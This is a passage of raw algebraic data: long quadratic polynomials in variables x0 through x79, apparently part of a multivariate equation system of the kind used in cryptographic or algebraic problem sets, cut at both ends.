x10*x18 + x10*x19 + x10*x22 + x10*x24 + x10*x25 + x10*x26 + x10*x30 + x10*x31 + x10*x33 + x10*x34 + x10*x35 + x10*x36 + x10*x38 + x10*x39 + x10*x40 + x10*x42 + x10*x43 + x10*x44 + x10*x46 + x10*x47 + x10*x49 + x10*x50 + x10*x55 + x10*x56 + x10*x59 + x10*x61 + x10*x62 + x10*x65 + x10*x66 + x10*x72 + x10*x74 + x10*x78 + x11*x12 + x11*x14 + x11*x16 + x11*x17 + x11*x19 + x11*x22 + x11*x24 + x11*x26 + x11*x27 + x11*x29 + x11*x30 + x11*x31 + x11*x36 + x11*x37 + x11*x39 + x11*x41 + x11*x42 + x11*x44 + x11*x47 + x11*x48 + x11*x49 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x55 + x11*x61 + x11*x62 + x11*x63 + x11*x64 + x11*x65 + x11*x66 + x11*x68 + x11*x69 + x11*x73 + x11*x75 + x11*x79 + x12*x13 + x12*x14 + x12*x15 + x12*x18 + x12*x21 + x12*x22 + x12*x23 + x12*x25 + x12*x26 + x12*x27 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x36 + x12*x37 + x12*x40 + x12*x44 + x12*x45 + x12*x46 + x12*x47 + x12*x48 + x12*x49 + x12*x51 + x12*x53 + x12*x54 + x12*x57 + x12*x58 + x12*x59 + x12*x60 + x12*x61 + x12*x62 + x12*x63 + x12*x66 + x12*x67 + x12*x71 + x12*x72 + x12*x73 + x12*x75 + x12*x76 + x12*x77 + x12 + x13*x14 + x13*x17 + x13*x21 + x13*x24 + x13*x29 + x13*x31 + x13*x32 + x13*x34 + x13*x35 + x13*x44 + x13*x45 + x13*x46 + x13*x48 + x13*x52 + x13*x53 + x13*x54 + x13*x59 + x13*x62 + x13*x64 + x13*x65 + x13*x69 + x13*x71 + x13*x73 + x13*x76 + x13*x77 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x21 + x14*x23 + x14*x25 + x14*x27 + x14*x28 + x14*x31 + x14*x34 + x14*x37 + x14*x39 + x14*x40 + x14*x44 + x14*x49 + x14*x50 + x14*x52 + x14*x54 + x14*x56 + x14*x58 + x14*x60 + x14*x61 + x14*x62 + x14*x63 + x14*x67 + x14*x70 + x14*x72 + x15*x17 + x15*x18 + x15*x20 + x15*x22 + x15*x23 + x15*x25 + x15*x27 + x15*x29 + x15*x31 + x15*x32 + x15*x34 + x15*x35 + x15*x38 + x15*x41 + x15*x43 + x15*x44 + x15*x46 + x15*x48 + x15*x49 + x15*x51 + x15*x56 + x15*x58 + x15*x62 + x15*x63 + x15*x64 + x15*x69 + x15*x71 + x15*x73 + x15*x75 + x16*x18 + x16*x21 + x16*x22 + x16*x24 + x16*x25 + x16*x29 + x16*x39 + x16*x40 + x16*x41 + x16*x47 + x16*x51 + x16*x58 + x16*x59 + x16*x60 + x16*x63 + x16*x65 + x16*x66 + x16*x70 + x16*x72 + x16*x73 + x16*x75 + x16*x76 + x16*x77 + x16*x78 + x16*x79 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x23 + x17*x24 + x17*x27 + x17*x28 + x17*x29 + x17*x30 + x17*x33 + x17*x36 + x17*x37 + x17*x39 + x17*x41 + x17*x42 + x17*x43 + x17*x45 + x17*x46 + x17*x47 + x17*x48 + x17*x49 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x63 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x71 + x17*x78 + x18*x21 + x18*x22 + x18*x27 + x18*x29 + x18*x32 + x18*x33 + x18*x35 + x18*x36 + x18*x37 + x18*x38 + x18*x39 + x18*x42 + x18*x47 + x18*x49 + x18*x52 + x18*x53 + x18*x54 + x18*x56 + x18*x57 + x18*x58 + x18*x60 + x18*x61 + x18*x62 + x18*x63 + x18*x67 + x18*x69 + x18*x71 + x18*x72 + x18*x76 + x18*x77 + x19*x21 + x19*x24 + x19*x31 + x19*x34 + x19*x35 + x19*x38 + x19*x39 + x19*x44 + x19*x45 + x19*x49 + x19*x50 + x19*x56 + x19*x57 + x19*x61 + x19*x62 + x19*x65 + x19*x66 + x19*x70 + x19 + x20*x22 + x20*x27 + x20*x28 + x20*x31 + x20*x33 + x20*x34 + x20*x35 + x20*x36 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x44 + x20*x46 + x20*x48 + x20*x49 + x20*x51 + x20*x52 + x20*x53 + x20*x55 + x20*x56 + x20*x58 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x67 + x20*x68 + x20*x72 + x20*x75 + x20*x77 + x20*x78 + x20*x79 + x21*x22 + x21*x25 + x21*x30 + x21*x31 + x21*x32 + x21*x35 + x21*x37 + x21*x38 + x21*x40 + x21*x41 + x21*x42 + x21*x46 + x21*x48 + x21*x50 + x21*x52 + x21*x54 + x21*x57 + x21*x58 + x21*x60 + x21*x65 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x73 + x21*x74 + x21*x77 + x21*x79 + x22*x23 + x22*x25 + x22*x27 + x22*x28 + x22*x33 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x41 + x22*x43 + x22*x46 + x22*x49 + x22*x50 + x22*x51 + x22*x52 + x22*x55 + x22*x56 + x22*x58 + x22*x60 + x22*x63 + x22*x65 + x22*x66 + x22*x69 + x22*x70 + x22*x71 + x22*x73 + x22*x75 + x22*x77 + x22 + x23*x24 + x23*x27 + x23*x29 + x23*x32 + x23*x34 + x23*x36 + x23*x38 + x23*x40 + x23*x41 + x23*x47 + x23*x48 + x23*x51 + x23*x53 + x23*x54 + x23*x56 + x23*x59 + x23*x60 + x23*x61 + x23*x63 + x23*x64 + x23*x66 + x23*x67 + x23*x70 + x23*x73 + x23*x74 + x23*x75 + x23*x76 + x23 + x24*x25 + x24*x31 + x24*x33 + x24*x35 + x24*x37 + x24*x39 + x24*x40 + x24*x46 + x24*x47 + x24*x49 + x24*x50 + x24*x51 + x24*x53 + x24*x57 + x24*x58 + x24*x59 + x24*x60 + x24*x62 + x24*x63 + x24*x67 + x24*x69 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x75 + x24*x77 + x24*x78 + x24*x79 + x25*x29 + x25*x31 + x25*x32 + x25*x34 + x25*x36 + x25*x38 + x25*x39 + x25*x42 + x25*x45 + x25*x47 + x25*x50 + x25*x58 + x25*x62 + x25*x63 + x25*x67 + x25*x68 + x25*x72 + x25*x75 + x25*x78 + x25*x79 + x26*x28 + x26*x30 + x26*x32 + x26*x33 + x26*x35 + x26*x39 + x26*x40 + x26*x41 + x26*x45 + x26*x47 + x26*x48 + x26*x55 + x26*x56 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x61 + x26*x62 + x26*x63 + x26*x66 + x26*x67 + x26*x69 + x26*x70 + x26*x72 + x26*x73 + x26*x74 + x26*x75 + x26 + x27*x29 + x27*x30 + x27*x31 + x27*x37 + x27*x40 + x27*x42 + x27*x45 + x27*x46 + x27*x48 + x27*x49 + x27*x52 + x27*x53 + x27*x55 + x27*x59 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x75 + x27*x76 + x27*x77 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x31 + x28*x35 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x42 + x28*x44 + x28*x45 + x28*x46 + x28*x49 + x28*x51 + x28*x53 + x28*x54 + x28*x57 + x28*x59 + x28*x60 + x28*x62 + x28*x64 + x28*x70 + x28*x72 + x28*x74 + x28*x76 + x28*x78 + x28*x79 + x28 + x29*x36 + x29*x37 + x29*x39 + x29*x46 + x29*x47 + x29*x48 + x29*x51 + x29*x52 + x29*x53 + x29*x55 + x29*x56 + x29*x58 + x29*x59 + x29*x60 + x29*x62 + x29*x65 + x29*x69 + x29*x70 + x29*x71 + x29*x73 + x29*x74 + x29*x75 + x29*x76 + x29*x77 + x29*x78 + x29*x79 + x30*x32 + x30*x35 + x30*x38 + x30*x40 + x30*x45 + x30*x46 + x30*x47 + x30*x51 + x30*x54 + x30*x56 + x30*x57 + x30*x58 + x30*x59 + x30*x60 + x30*x61 + x30*x65 + x30*x66 + x30*x67 + x30*x68 + x30*x69 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x35 + x31*x36 + x31*x39 + x31*x42 + x31*x43 + x31*x45 + x31*x46 + x31*x47 + x31*x49 + x31*x50 + x31*x51 + x31*x52 + x31*x53 + x31*x54 + x31*x56 + x31*x59 + x31*x60 + x31*x64 + x31*x65 + x31*x67 + x31*x69 + x31*x71 + x31*x77 + x31*x79 + x31 + x32*x35 + x32*x38 + x32*x42 + x32*x44 + x32*x47 + x32*x48 + x32*x50 + x32*x51 + x32*x53 + x32*x54 + x32*x55 + x32*x56 + x32*x59 + x32*x60 + x32*x65 + x32*x67 + x32*x77 + x32*x79 + x32 + x33*x36 + x33*x37 + x33*x39 + x33*x40 + x33*x43 + x33*x44 + x33*x50 + x33*x51 + x33*x52 + x33*x53 + x33*x54 + x33*x56 + x33*x62 + x33*x64 + x33*x65 + x33*x68 + x33*x69 + x33*x70 + x33*x73 + x33*x74 + x33*x76 + x33*x77 + x33*x78 + x33 + x34*x35 + x34*x38 + x34*x40 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x53 + x34*x54 + x34*x55 + x34*x56 + x34*x60 + x34*x61 + x34*x62 + x34*x63 + x34*x65 + x34*x67 + x34*x68 + x34*x70 + x34*x71 + x34*x76 + x34*x77 + x34 + x35*x36 + x35*x37 + x35*x38 + x35*x39 + x35*x41 + x35*x43 + x35*x44 + x35*x50 + x35*x51 + x35*x52 + x35*x53 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x64 + x35*x66 + x35*x67 + x35*x68 + x35*x72 + x35*x74 + x35*x76 + x35*x77 + x35*x79 + x36*x37 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x48 + x36*x49 + x36*x51 + x36*x52 + x36*x53 + x36*x55 + x36*x57 + x36*x59 + x36*x61 + x36*x62 + x36*x63 + x36*x65 + x36*x67 + x36*x69 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36*x79 + x36 + x37*x40 + x37*x41 + x37*x43 + x37*x45 + x37*x46 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x54 + x37*x57 + x37*x59 + x37*x62 + x37*x64 + x37*x66 + x37*x68 + x37*x70 + x37*x71 + x37*x72 + x37*x73 + x37*x74 + x37*x77 + x37*x78 + x37 + x38*x42 + x38*x44 + x38*x45 + x38*x47 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x64 + x38*x70 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x77 + x38 + x39*x40 + x39*x41 + x39*x42 + x39*x45 + x39*x46 + x39*x48 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x64 + x39*x69 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x39 + x40*x42 + x40*x44 + x40*x49 + x40*x51 + x40*x53 + x40*x54 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x61 + x40*x63 + x40*x64 + x40*x70 + x40*x76 + x40*x77 + x40*x79 + x41*x45 + x41*x47 + x41*x50 + x41*x53 + x41*x55 + x41*x58 + x41*x60 + x41*x61 + x41*x66 + x41*x67 + x41*x70 + x41*x73 + x41*x75 + x42*x44 + x42*x45 + x42*x46 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x54 + x42*x58 + x42*x59 + x42*x61 + x42*x62 + x42*x65 + x42*x69 + x42*x71 + x42*x73 + x42*x75 + x43*x44 + x43*x45 + x43*x46 + x43*x47 + x43*x50 + x43*x52 + x43*x53 + x43*x56 + x43*x58 + x43*x60 + x43*x62 + x43*x63 + x43*x65 + x43*x68 + x43*x70 + x43*x72 + x43*x73 + x43*x74 + x43*x75 + x43*x76 + x43*x78 + x44*x45 + x44*x48 + x44*x49 + x44*x50 + x44*x51 + x44*x54 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x60 + x44*x61 + x44*x63 + x44*x64 + x44*x66 + x44*x67 + x44*x68 + x44*x69 + x44*x73 + x44*x75 + x44*x76 + x44*x77 + x45*x46 + x45*x48 + x45*x49 + x45*x50 + x45*x51 + x45*x52 + x45*x53 + x45*x57 + x45*x60 + x45*x62 + x45*x63 + x45*x64 + x45*x65 + x45*x68 + x45*x69 + x45*x71 + x45*x72 + x45*x73 + x45*x75 + x45 + x46*x48 + x46*x49 + x46*x50 + x46*x51 + x46*x52 + x46*x53 + x46*x55 + x46*x56 + x46*x57 + x46*x59 + x46*x64 + x46*x67 + x46*x68 + x46*x69 + x46*x72 + x46*x73 + x46*x75 + x46*x76 + x46*x78 + x46 + x47*x48 + x47*x49 + x47*x52 + x47*x53 + x47*x54 + x47*x55 + x47*x57 + x47*x58 + x47*x61 + x47*x62 + x47*x67 + x47*x70 + x47*x72 + x47*x73 + x47*x76 + x47*x77 + x47*x78 + x47 + x48*x50 + x48*x52 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x61 + x48*x67 + x48*x68 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x74 + x48*x78 + x49*x50 + x49*x52 + x49*x53 + x49*x54 + x49*x57 + x49*x63 + x49*x67 + x49*x71 + x49*x72 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x50*x52 + x50*x53 + x50*x56 + x50*x59 + x50*x62 + x50*x63 + x50*x65 + x50*x66 + x50*x67 + x50*x71 + x50*x73 + x50*x77 + x50 + x51*x52 + x51*x53 + x51*x55 + x51*x57 + x51*x58 + x51*x61 + x51*x63 + x51*x66 + x51*x67 + x51*x68 + x51*x69 + x51*x72 + x51*x75 + x51*x76 + x52*x55 + x52*x56 + x52*x61 + x52*x62 + x52*x63 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x71 + x52*x74 + x52*x76 + x52*x77 + x52*x78 + x53*x55 + x53*x56 + x53*x59 + x53*x62 + x53*x65 + x53*x69 + x53*x70 + x53*x71 + x53*x75 + x53*x77 + x53*x79 + x53 + x54*x57 + x54*x60 + x54*x63 + x54*x64 + x54*x65 + x54*x67 + x54*x68 + x54*x73 + x54*x76 + x54*x77 + x54*x79 + x54 + x55*x56 + x55*x59 + x55*x60 + x55*x62 + x55*x63 + x55*x66 + x55*x69 + x55*x70 + x55*x72 + x55*x74 + x55*x76 + x55*x78 + x55*x79 + x56*x57 + x56*x62 + x56*x65 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x72 + x56*x73 + x56*x74 + x56*x76 + x56*x78 + x56*x79 + x57*x58 + x57*x60 + x57*x61 + x57*x62 + x57*x69 + x57*x72 + x57*x73 + x57*x74 + x57*x75 + x57 + x58*x60 + x58*x61 + x58*x62 + x58*x66 + x58*x68 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x76 + x58*x78 + x59*x65 + x59*x66 + x59*x67 + x59*x69 + x59*x71 + x59*x74 + x59*x75 + x59*x77 + x60*x63 + x60*x64 + x60*x67 + x60*x69 + x60*x71 + x60*x73 + x60*x74 + x60*x78 + x60 + x61*x64 + x61*x66 + x61*x67 + x61*x68 + x61*x71 + x61*x72 + x61*x73 + x61*x75 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x65 + x62*x66 + x62*x67 + x62*x68 + x62*x69 + x62*x70 + x62*x78 + x62*x79 + x63*x64 + x63*x66 + x63*x68 + x63*x70 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x76 + x63*x77 + x63 + x64*x65 + x64*x71 + x64*x73 + x64*x75 + x64*x77 + x64*x78 + x64 + x65*x67 + x65*x70 + x65*x75 + x65*x76 + x65*x78 + x65*x79 + x65 + x66*x68 + x66*x70 + x66*x71 + x66*x72 + x66*x73 + x66*x75 + x66*x76 + x66*x77 + x67*x69 + x67*x72 + x67*x75 + x67*x78 + x68*x71 + x68*x72 + x68*x73 + x68*x75 + x68*x76 + x68*x78 + x68*x79 + x68 + x69*x72 + x69*x73 + x69*x75 + x69*x78 + x69*x79 + x70*x71 + x70*x72 + x70*x73 + x70*x74 + x70*x76 + x70*x77 + x70*x78 + x70*x79 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x78 + x71 + x72*x74 + x72*x77 + x72*x78 + x72 + x73*x75 + x73*x77 + x74*x79 + x75*x77 + x75*x78 + x75 + x76*x79 + x76 + x77 + x78*x79 + x78 + x79 + 1, x0*x1 + x0*x2 + x0*x3 + x0*x4 + x0*x6 + x0*x7 + x0*x12 + x0*x16 + x0*x17 + x0*x21 + x0*x22 + x0*x23 + x0*x25 + x0*x27 + x0*x28 + x0*x29 + x0*x30 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x38 + x0*x44 + x0*x47 + x0*x50 + x0*x51 + x0*x53 + x0*x56 + x0*x58 + x0*x60 + x0*x61 + x0*x63 + x0*x66 + x0*x67 + x0*x69 + x0*x70 + x0*x72 + x1*x2 + x1*x6 + x1*x9 + x1*x10 + x1*x13 + x1*x16 + x1*x18 + x1*x21 + x1*x22 + x1*x23 + x1*x25 + x1*x27 + x1*x28 + x1*x30 + x1*x31 + x1*x36 + x1*x37 + x1*x39 + x1*x41 + x1*x43 + x1*x46 + x1*x50 + x1*x52 + x1*x53 + x1*x54 + x1*x55 + x1*x57 + x1*x58 + x1*x64 + x1*x65 + x1*x68 + x1*x69 + x1*x74 + x1*x76 + x1*x77 + x1*x78 + x1 + x2*x3 + x2*x8 + x2*x9 + x2*x11 + x2*x13 + x2*x18 + x2*x20 + x2*x24 + x2*x25 + x2*x26 + x2*x32 + x2*x34 + x2*x35 + x2*x36 + x2*x38 + x2*x39 + x2*x41 + x2*x44 + x2*x45 + x2*x46 + x2*x49 + x2*x50 + x2*x51 + x2*x54 + x2*x55 + x2*x56 + x2*x58 + x2*x61 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x67 + x2*x69 + x2*x71 + x2*x72 + x2*x73 + x2*x74 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x10 + x3*x14 + x3*x18 + x3*x19 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x31 + x3*x33 + x3*x35 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x43 + x3*x44 + x3*x45 + x3*x47 + x3*x48 + x3*x52 + x3*x53 + x3*x59 + x3*x60 + x3*x63 + x3*x67 + x3*x69 + x3*x70 + x3*x71 + x3*x77 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x13 + x4*x14 + x4*x15 + x4*x16 + x4*x20 + x4*x22 + x4*x24 + x4*x25 + x4*x26 + x4*x28 + x4*x31 + x4*x34 + x4*x36 + x4*x38 + x4*x39 + x4*x41 + x4*x45 + x4*x54 + x4*x57 + x4*x59 + x4*x62 + x4*x63 + x4*x64 + x4*x67 + x4*x68 + x4*x69 + x4*x71 + x4*x72 + x4*x73 + x4*x75 + x5*x6 + x5*x13 + x5*x16 + x5*x20 + x5*x21 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x30 + x5*x33 + x5*x34 + x5*x36 + x5*x37 + x5*x38 + x5*x39 + x5*x42 + x5*x43 + x5*x45 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x57 + x5*x59 + x5*x62 + x5*x64 + x5*x65 + x5*x67 + x5*x69 + x5*x70 + x5*x71 + x5*x72 + x5*x73 + x5*x74 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x13 + x6*x15 + x6*x17 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x23 + x6*x24 + x6*x26 + x6*x27 + x6*x29 + x6*x30 + x6*x32 + x6*x33 + x6*x38 + x6*x39 + x6*x43 + x6*x44 + x6*x45 + x6*x47 + x6*x51 + x6*x52 + x6*x54 + x6*x57 + x6*x58 + x6*x61 + x6*x65 + x6*x68 + x6*x71 + x6*x73 + x6*x74 + x6*x75 + x6*x77 + x6*x78 + x6*x79 + x7*x9 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x16 + x7*x19 + x7*x20 + x7*x21 + x7*x22 + x7*x24 + x7*x26 + x7*x27 + x7*x28 + x7*x30 + x7*x35 + x7*x36 + x7*x39 + x7*x42 + x7*x45 + x7*x52 + x7*x54 + x7*x56 + x7*x57 + x7*x58 + x7*x61 + x7*x65 + x7*x66 + x7*x68 + x7*x69 + x7*x70 + x7*x72 + x7*x73 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x8*x9 + x8*x13 + x8*x14 + x8*x16 + x8*x18 + x8*x20 + x8*x22 + x8*x25 + x8*x27 + x8*x28 + x8*x31 + x8*x36 + x8*x37 + x8*x38 + x8*x42 + x8*x45 + x8*x46 + x8*x50 + x8*x53 + x8*x55 + x8*x56 + x8*x59 + x8*x64 + x8*x68 + x8*x69 + x8*x71 + x8*x72 + x8*x73 + x8*x74 + x8*x77 + x8*x78 + x9*x10 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x26 + x9*x27 + x9*x28 + x9*x29 + x9*x30 + x9*x34 + x9*x35 + x9*x37 + x9*x38 + x9*x40 + x9*x47 + x9*x48 + x9*x53 + x9*x55 + x9*x57 + x9*x60 + x9*x61 + x9*x62 + x9*x63 + x9*x65 + x9*x66 + x9*x67 + x9*x73 + x9*x74 + x9*x75 + x9*x78 + x9*x79 + x9 + x10*x12 + x10*x14 + x10*x16 + x10*x19 + x10*x22 + x10*x23 + x10*x25 + x10*x28 + x10*x31 + x10*x32 + x10*x33 + x10*x34 + x10*x35 + x10*x39 + x10*x42 + x10*x45 + x10*x47 + x10*x48 + x10*x52 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x57 + x10*x58 + x10*x60 + x10*x67 + x10*x68 + x10*x70 + x10*x71 + x10*x74 + x10*x75 + x10*x79 + x10 + x11*x15 + x11*x16 + x11*x17 + x11*x20 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x30 + x11*x31 + x11*x33 + x11*x36 + x11*x37 + x11*x38 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x46 + x11*x47 + x11*x50 + x11*x51 + x11*x52 + x11*x54 + x11*x55 + x11*x56 + x11*x59 + x11*x60 + x11*x66 + x11*x67 + x11*x70 + x11*x71 + x11*x72 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x11*x79 + x12*x18 + x12*x20 + x12*x22 + x12*x24 + x12*x26 + x12*x28 + x12*x29 + x12*x31 + x12*x32 + x12*x33 + x12*x35 + x12*x37 + x12*x39 + x12*x44 + x12*x48 + x12*x49 + x12*x50 + x12*x52 + x12*x53 + x12*x54 + x12*x55 + x12*x56 + x12*x58 + x12*x61 + x12*x64 + x12*x65 + x12*x67 + x12*x68 + x12*x69 + x12*x70 + x12*x74 + x12*x75 + x12*x79 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x19 + x13*x20 + x13*x21 + x13*x24 + x13*x26 + x13*x28 + x13*x29 + x13*x31 + x13*x32 + x13*x33 + x13*x35 + x13*x37 + x13*x40 + x13*x41 + x13*x42 + x13*x46 + x13*x47 + x13*x50 + x13*x51 + x13*x52 + x13*x54 + x13*x55 + x13*x56 + x13*x60 + x13*x61 + x13*x63 + x13*x64 + x13*x65 + x13*x68 + x13*x71 + x13*x76 + x14*x19 + x14*x21 + x14*x28 + x14*x29 + x14*x31 + x14*x33 + x14*x34 + x14*x37 + x14*x39 + x14*x40 + x14*x41 + x14*x43 + x14*x44 + x14*x45 + x14*x46 + x14*x48 + x14*x49 + x14*x50 + x14*x51 + x14*x53 + x14*x54 + x14*x57 + x14*x58 + x14*x60 + x14*x63 + x14*x64 + x14*x65 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x76 + x14 + x15*x16 + x15*x17 + x15*x18 + x15*x21 + x15*x22 + x15*x25 + x15*x29 + x15*x31 + x15*x32 + x15*x33 + x15*x36 + x15*x38 + x15*x39 + x15*x41 + x15*x44 + x15*x46 + x15*x48 + x15*x50 + x15*x52 + x15*x54 + x15*x56 + x15*x57 + x15*x59 + x15*x60 + x15*x62 + x15*x63 + x15*x67 + x15*x71 + x15*x77 + x16*x17 + x16*x21 + x16*x22 + x16*x23 + x16*x25 + x16*x26 + x16*x27 + x16*x28 + x16*x29 + x16*x31 + x16*x32 + x16*x34 + x16*x35 + x16*x38 + x16*x39 + x16*x40 + x16*x41 + x16*x45 + x16*x47 + x16*x51 + x16*x52 + x16*x53 + x16*x54 + x16*x55 + x16*x57 + x16*x62 + x16*x63 + x16*x66 + x16*x67 + x16*x69 + x16*x70 + x16*x72 + x16*x78 + x16 + x17*x19 + x17*x21 + x17*x22 + x17*x26 + x17*x27 + x17*x28 + x17*x30 + x17*x31 + x17*x32 + x17*x33 + x17*x34 + x17*x36 + x17*x38 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x46 + x17*x47 + x17*x49 + x17*x50 + x17*x51 + x17*x53 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x60 + x17*x61 + x17*x62 + x17*x63 + x17*x68 + x17*x71 + x17*x72 + x17*x74 + x17*x75 + x17*x79 + x18*x19 + x18*x22 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x34 + x18*x36 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x46 + x18*x48 + x18*x51 + x18*x52 + x18*x53 + x18*x58 + x18*x61 + x18*x62 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x71 + x18*x72 + x18*x74 + x18*x76 + x19*x20 + x19*x22 + x19*x24 + x19*x25 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x36 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x45 + x19*x49 + x19*x51 + x19*x52 + x19*x54 + x19*x55 + x19*x57 + x19*x59 + x19*x60 + x19*x62 + x19*x66 + x19*x67 + x19*x73 + x19*x74 + x19 + x20*x21 + x20*x23 + x20*x25 + x20*x27 + x20*x29 + x20*x34 + x20*x36 + x20*x37 + x20*x38 + x20*x40 + x20*x44 + x20*x46 + x20*x47 + x20*x49 + x20*x51 + x20*x52 + x20*x55 + x20*x57 + x20*x58 + x20*x59 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x73 + x20*x74 + x20*x76 + x20*x78 + x20 + x21*x22 + x21*x23 + x21*x24 + x21*x30 + x21*x31 + x21*x32 + x21*x33 + x21*x34 + x21*x39 + x21*x40 + x21*x42 + x21*x43 + x21*x46 + x21*x47 + x21*x48 + x21*x51 + x21*x52 + x21*x53 + x21*x54 + x21*x57 + x21*x60 + x21*x61 + x21*x62 + x21*x64 + x21*x65 + x21*x67 + x21*x71 + x21*x72 + x21*x73 + x21 + x22*x23 + x22*x25 + x22*x26 + x22*x29 + x22*x30 + x22*x32 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x39 + x22*x40 + x22*x42 + x22*x43 + x22*x45 + x22*x46 + x22*x48 + x22*x49 + x22*x58 + x22*x60 + x22*x62 + x22*x63 + x22*x64 + x22*x66 + x22*x69 + x22*x70 + x22*x71 + x22*x73 + x22*x74 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x23*x27 + x23*x29 + x23*x30 + x23*x32 + x23*x33 + x23*x34 + x23*x40 + x23*x42 + x23*x43 + x23*x44 + x23*x47 + x23*x49 + x23*x53 + x23*x54 + x23*x56 + x23*x58 + x23*x59 + x23*x61 + x23*x62 + x23*x63 + x23*x67 + x23*x68 + x23*x70 + x23*x72 + x23*x74 + x23*x76 + x23*x77 + x23*x78 + x24*x25 + x24*x27 + x24*x32 + x24*x33 + x24*x34 + x24*x37 + x24*x38 + x24*x40 + x24*x42 + x24*x44 + x24*x47 + x24*x48 + x24*x49 + x24*x51 + x24*x52 + x24*x54 + x24*x55 + x24*x61 + x24*x62 + x24*x63 + x24*x64 + x24*x65 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x25*x26 + x25*x30 + x25*x32 + x25*x34 + x25*x36 + x25*x39 + x25*x42 + x25*x43 + x25*x46 + x25*x49 + x25*x50 + x25*x54 + x25*x57 + x25*x59 + x25*x60 + x25*x62 + x25*x63 + x25*x65 + x25*x66 + x25*x68 + x25*x69 + x25*x70 + x25*x73 + x25*x75 + x25*x78 + x25*x79 + x25 + x26*x29 + x26*x31 + x26*x34 + x26*x36 + x26*x41 + x26*x42 + x26*x43 + x26*x45 + x26*x49 + x26*x50 + x26*x58 + x26*x63 + x26*x65 + x26*x66 + x26*x68 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x74 + x26*x79 + x27*x29 + x27*x31 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x40 + x27*x41 + x27*x42 + x27*x43 + x27*x45 + x27*x47 + x27*x50 + x27*x52 + x27*x54 + x27*x55 